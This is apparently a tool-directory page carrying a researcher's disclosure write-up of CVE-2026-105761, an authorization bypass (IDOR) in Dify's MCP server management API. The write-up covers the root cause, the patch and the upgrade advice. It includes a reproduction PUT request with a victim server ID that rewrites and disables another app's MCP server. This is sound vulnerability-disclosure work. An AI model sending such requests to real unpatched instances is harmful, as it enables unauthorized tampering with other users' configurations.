Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jhc56/cve-2026-105761
Authentication & AuthorizationVulnerability AnalysisInformation GatheringWeb SecurityPapers & ResearchAPI Security
GitHubjhc56/cve-2026-105761

CVE-2026-105761

Technical write-up on an authorization bypass in Dify’s MCP server management API

View Repository
13 days agoNot yet reviewed
Share

CVE-2026-105761: Authorization Bypass in Dify MCP Server Management

Author: Juhyuk Choi (@JHC56)

CVE Record | GitHub Advisory | KNVD | NVD

Summary

An authenticated workspace member could change or disable another app's MCP server in Dify versions before 1.16.0.

CWE-639 (IDOR) · CVSS 3.1: 7.1 (High)

Root Cause

In AppMCPServerController.put(), the URL identified the authorized app. The request body independently selected the server to update.

server = db.session.get(AppMCPServer, payload.id)

The lookup used the server ID alone. The patch also checks the tenant and app IDs from the authorized app. Patched lookup

Reproduction

Setup

I tested Dify 1.14.2 in Docker with two apps in one workspace. Both had MCP servers. The test required an authenticated session for the attacker's app and the victim's server ID.

Request

PUT /console/api/apps/<ATTACKER_APP_ID>/server HTTP/1.1
Host: localhost
Authorization: Bearer <ATTACKER_TOKEN>
Content-Type: application/json

{
  "id": "<VICTIM_SERVER_ID>",
  "description": "HACKED",
  "status": "inactive",
  "parameters": {"injected": "malicious"}
}

Result

Dify returned 200 OK. A separate read of the victim's server confirmed the changes:

  • description: Original Config → HACKED
  • status: active → inactive
  • parameters: {"version":"1.0"} → {"injected":"malicious"}

Impact

The test confirmed unauthorized configuration changes and server deactivation within one workspace.

Security Implications

Both test apps shared a tenant ID. Checking the tenant alone would therefore allow either server. The management API had to enforce that boundary before any model or tool ran.

The same patch shows how two other controllers pass the parent resource into a service call:

  • Workflow versions. Both update and delete build a reference with create_app_workflow_ref(app_model, workflow_id). The service receives the workflow ID in the context of the authorized app. workflow.py
  • Dataset documents. The batch delete handler builds a reference from the resolved dataset and passes that reference alongside the requested document IDs to DocumentService.delete_documents. datasets_document.py

Remediation

Upgrade to Dify 1.16.0 or later. Patch and tests

Disclosure

Dify published the advisory on August 19, 2026, and credited JHC56 as the reporter.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →